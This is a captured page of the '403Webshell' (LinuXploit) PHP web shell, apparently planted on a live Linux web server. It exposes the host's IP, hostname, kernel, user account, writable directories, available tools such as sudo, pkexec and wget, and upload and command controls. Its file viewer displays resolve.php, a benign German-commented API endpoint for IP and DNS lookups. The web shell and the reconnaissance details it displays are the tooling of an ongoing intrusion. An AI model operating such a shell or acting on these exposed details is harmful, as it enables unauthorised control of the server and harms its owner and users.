403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/web21/web/api/v1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/web21/web/api/v1/resolve.php
<?php
/**
 * Schritt 1: Eingabe auflösen → GET /api/v1/resolve.php?q=<ziel>  oder  ?self=1
 *
 * Schnell (nur Parsing + DNS). Liefert Ziel-IP(s), Version, Reverse-DNS/FCrDNS.
 * Alle weiteren Werte holen separate Endpoints (geoloc/network/ipwhois/reputation).
 *
 * @package SafeMyIdent\Api
 */

declare(strict_types=1);

require __DIR__ . '/../lib/boot2.php';

/**
 * Besucher-IP (Cloudflare-bewusst).
 *
 * @return string
 */
function smi_visitor_ip(): string
{
    $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? '';
    if ($ip === '' && !empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = trim(explode(',', (string) $_SERVER['HTTP_X_FORWARDED_FOR'])[0]);
    }
    if ($ip === '') {
        $ip = $_SERVER['REMOTE_ADDR'] ?? '';
    }
    return filter_var($ip, FILTER_VALIDATE_IP) ? $ip : '';
}

$self = isset($_GET['self']) && $_GET['self'] === '1';
$raw  = $self ? smi_visitor_ip() : (string) ($_GET['q'] ?? '');
$raw  = substr(trim($raw), 0, 2048);
if ($raw === '') {
    smi_json_error('Bitte IP, Domain oder URL angeben.', 422);
}

$cls = smi_classify_input($raw);
if ($cls['type'] === 'invalid') {
    smi_json_error($cls['error'] ?: 'Ungültige Eingabe.', 422);
}

$targetIps = ['ipv4' => [], 'ipv6' => [], 'all' => []];
if ($cls['ip'] !== null) {
    if (!smi_ip_is_public($cls['ip'])) {
        smi_json_error('Diese IP ist privat/reserviert und wird aus Sicherheitsgründen nicht analysiert.', 422);
    }
    $v = smi_ip_version($cls['ip']);
    $targetIps[$v === 6 ? 'ipv6' : 'ipv4'][] = $cls['ip'];
    $targetIps['all'][] = $cls['ip'];
} elseif ($cls['domain'] !== null) {
    $targetIps = smi_resolve_public_ips($cls['domain']);
    if (empty($targetIps['all'])) {
        smi_json_error('Für diese Domain wurde keine öffentliche IP gefunden.', 422);
    }
}

$primary = $targetIps['all'][0] ?? '';
if ($primary === '') {
    smi_json_error('Keine analysierbare öffentliche IP ermittelt.', 422);
}

// Reverse-DNS + FCrDNS (schnell, DNS).
$rdns   = smi_reverse_dns($primary);
$fcrdns = null;
if ($rdns !== '') {
    $fwd    = smi_resolve_public_ips($rdns);
    $fcrdns = in_array($primary, $fwd['all'], true);
}

smi_json_ok([
    'input'       => [
        'raw'    => $raw, 'type' => $cls['type'], 'ip' => $cls['ip'],
        'domain' => $cls['domain'], 'url' => $cls['url'], 'host' => $cls['host'],
    ],
    'target_ip'   => $primary,
    'ip_version'  => smi_ip_version($primary),
    'target_ips'  => $targetIps,
    'reverse_dns' => $rdns,
    'fcrdns'      => $fcrdns,
    'is_self'     => $self,
    'checked_at'  => gmdate('c'),
]);

Youez - 2016 - github.com/yon3zu
LinuXploit